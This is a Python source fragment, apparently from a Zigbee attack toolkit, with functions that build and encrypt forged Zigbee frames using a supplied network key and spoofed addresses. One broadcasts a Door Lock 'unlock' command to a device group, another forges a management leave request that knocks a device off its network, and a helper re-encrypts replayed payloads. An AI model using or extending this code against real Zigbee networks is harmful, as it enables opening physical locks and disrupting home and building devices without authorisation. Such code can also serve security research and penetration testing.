def encrypted_unlock(panid,
source,
destination,
extended_source,
key,
frame_counter=0,
seq_num=0,
nwk_seq_num=0,
aps_counter=0,
zcl_seq_num=0):
panid = pan(panid)
source = address(source)
destination = address(destination)
extended_source = extended_address(extended_source)
extended_source_bytes = extended_address_bytes(extended_source)
aps_payload = ZigbeeAppDataPayload()
aps_payload.aps_frametype = 0
aps_payload.delivery_mode = 3
aps_payload.frame_control = 4
aps_payload.cluster = 0x0101
aps_payload.profile = 0x0104
aps_payload.group_addr = 0x0005
aps_payload.dst_endpoint = 0xff # Broadcast
aps_payload.src_endpoint = 1
aps_payload.counter = aps_counter
zcl = ZigbeeClusterLibrary()
zcl.zcl_frametype = 1
zcl.transaction_sequence = zcl_seq_num
zcl.command_identifier = 1
payload = aps_payload / zcl
dot15d4_data = dot15d4_data_stub(seq_num, panid, source, destination)
nwk = nwk_stub(source, destination, nwk_seq_num)
security_header = security_header_stub(extended_source, frame_counter)
unencrypted_frame_part = dot15d4_data / nwk / security_header
return crypto_utils.zigbee_packet_encrypt(key, unencrypted_frame_part,
bytes(payload),
extended_source_bytes)
def encrypted_leave_req(panid,
source,
destination,
extended_source,
key,
frame_counter=0,
seq_num=0,
nwk_seq_num=0,
aps_counter=0,
zcl_seq_num=0):
panid = pan(panid)
source = address(source)
destination = address(destination)
extended_source = extended_address(extended_source)
extended_source_bytes = extended_address_bytes(extended_source)
aps_payload = ZigbeeAppDataPayload()
aps_payload.frame_control = 4
aps_payload.delivery_mode = 0
aps_payload.aps_frametype = 0
aps_payload.dst_endpoint = 0
aps_payload.cluster = 0x0034
aps_payload.profile = 0x0000
aps_payload.src_endpoint = 0
aps_payload.counter = aps_counter
zdp = ZigbeeDeviceProfile()
zdp.sequence_number = zcl_seq_num
zdp.extended_address = 0
zdp.remove_children = 0
zdp.rejoin = 0
payload = aps_payload / zdp
dot15d4_data = dot15d4_data_stub(seq_num, panid, source, destination)
nwk = nwk_stub(source, destination, nwk_seq_num)
security_header = security_header_stub(extended_source, frame_counter)
unencrypted_frame_part = dot15d4_data / nwk / security_header
return crypto_utils.zigbee_packet_encrypt(key, unencrypted_frame_part,
bytes(payload),
extended_source_bytes)
def encrypt(unencrypted_frame, replay_payload, ext_source_bytes):
return crypto_utils.zigbee_packet_encrypt(args.key, unencrypted_frame,
bytes(replay_payload),
ext_source_bytes)